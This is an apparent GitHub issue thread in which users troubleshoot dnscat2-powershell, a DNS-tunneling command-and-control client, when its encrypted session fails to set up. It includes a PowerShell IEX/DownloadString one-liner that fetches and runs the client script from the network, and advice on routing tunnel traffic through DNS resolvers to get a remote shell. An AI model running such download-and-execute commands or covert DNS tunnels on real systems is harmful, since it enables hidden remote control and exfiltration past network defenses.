Session wont establish

[SirMcGruff]

I have the sever running but get the below error on the Windows client:

Start-Dnscat2EncInit : Failed to negotiate encryption. Ensure your dnscat2 server is set up correctly.
At line:1468 char:40

•     $Session = Start-Dnscat2EncInit <<<<  $Session $False
  

  • CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
  • FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Start-Dnscat2EncInit

[lukebaggett]

Could you post the full commands you're running to start the client and server?

[SirMcGruff]

server:
sudo ruby ./dnscat2.rb mydomain.com --no-cache

client:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Start-Dnscat2 -Domain mydomain.com

Start-Dnscat2EncInit : Failed to negotiate encryption. Ensure your dnscat2 server is set up correctly.
At line:1468 char:40

•     $Session = Start-Dnscat2EncInit <<<<  $Session $False
  

  • CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
  • FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Start-Dnscat2EncInit

[lukebaggett]

If you aren't seeing any error messages on the server when trying to connect then it's probably not receiving any packets from the client at all. You can confirm this with tcpdump.

It's probably a matter of specifying the right DNS Server to the client's -DNSServer parameter. If your server is on the internet then try passing "-DNSServer 8.8.8.8". If you're on an internal windows domain you should pass whatever the internal DNS server is. If you're just testing between VMs without a domain, pass the IP of your system running dnscat2. If you don't specify -DNSServer it will use the DNS server set on the windows system.

[SirMcGruff]

for the client, do you have to specify a dns server or will it use the one already configured via dhcp?

this is what i get on the server.....
dnscat2> New window created: 1

dnscat2> sessions -a
0 :: main [active]
crypto-debug :: Debug window for crypto stuff []
dns1 :: DNS Driver running on 0.0.0.0:53 domains = googlesearchhelp.com []
1 :: (not set) [cleartext] [*] [idle for 12 seconds]

[lukebaggett]

You don't have to specify one, but when the traffic goes through some devices unpredictable things can happen. One way to test to see where the problem is by checking what happens when you go to the server directly, or when you go through Google's DNS Server. If doing one of those doesn't solve the problem then there's probably a bug somewhere.

[SirMcGruff]

OK so using internal or googles DNS did not work, but direct connection did.

[lukebaggett]

Does the normal dnscat2 client work for your set up? You could also try adjusting the encryption settings or the query type to see if anything changes.

[SirMcGruff]

yes but honestly even that is not very stable, not compared to iodine. I get a shell but after a few commands I get the below. This is via normal DNS recursive, vs talking straight to the server. Do yo know of a iodine port to power-shell?

[[ WARNING ]] :: Bad SEQ received (Expected 16280, received 16276)
[[ WARNING ]] :: Bad SEQ received (Expected 16280, received 16276)
[[ WARNING ]] :: Bad SEQ received (Expected 16299, received 16281)
[[ WARNING ]] :: Bad SEQ received (Expected 16299, received 16281)
[[ WARNING ]] :: Bad SEQ received (Expected 16299, received 16281)
DNS server returned an unknown character in the string: 0xc1
Unrecoverable error in libs/dns.c(92): Couldn't process string

Aborted (core dumped)

[vladimirpe00]

if you want to test it with google dns you nede to authoritative dns and you can do that by glue your server IP to the custom dns that you need to create for your domain

[cqwisemen]

I have a same problem that using DNS did not work, but direct connection did.Does non-authoritative dns affects the connections？